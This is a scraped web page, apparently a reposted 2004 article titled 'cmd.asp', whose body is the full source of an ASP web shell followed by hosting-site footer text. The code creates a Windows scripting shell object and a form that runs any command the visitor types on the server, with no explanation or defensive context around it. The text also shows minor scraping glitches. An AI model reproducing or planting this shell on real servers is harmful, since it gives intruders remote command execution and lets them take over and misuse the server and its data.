cmd.asp [Custom cmd.exe address]

Source: Internet
Author: User
The author of this article: LCX
Article Source: Unknown
Article Nature: Original
Hits: 28
Release Date: 2004-10-24
<object runat=server id=oscriptlhn scope=page classid= "Clsid:72c24dd5-d70a-438b-8a42-98424b88afb8" > </object>
<%if err then%>
<object runat=server id=oscriptlhn scope=page classid= "CLSID: f935dc22-1cf0-11d0-adb9-00c04fd58a0b "></object>
<%
End If%>
<form method=" POST ">
<input type=text name= "cmdx" size=60 value= "cmd.exe address, can change default" ><br>
<input type=text name= "cmd" Size=60><br>
<input type=submit value= "cmd command" ></form>
<textarea readonly cols=80 rows =20>
<%on Error Resume Next
If Request ("cmdx") = "cmd.exe address, can be changed by default" then
Response.Write oscriptlhn.exec ("cmd.exe/c" &request ("cmd")). Stdout.readall
End If
Response.Write oscriptlhn.exec (Request ("Cmdx") & "/C" &request ("cmd"). Stdout.readall
%>
</textarea>
cmd.asp

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.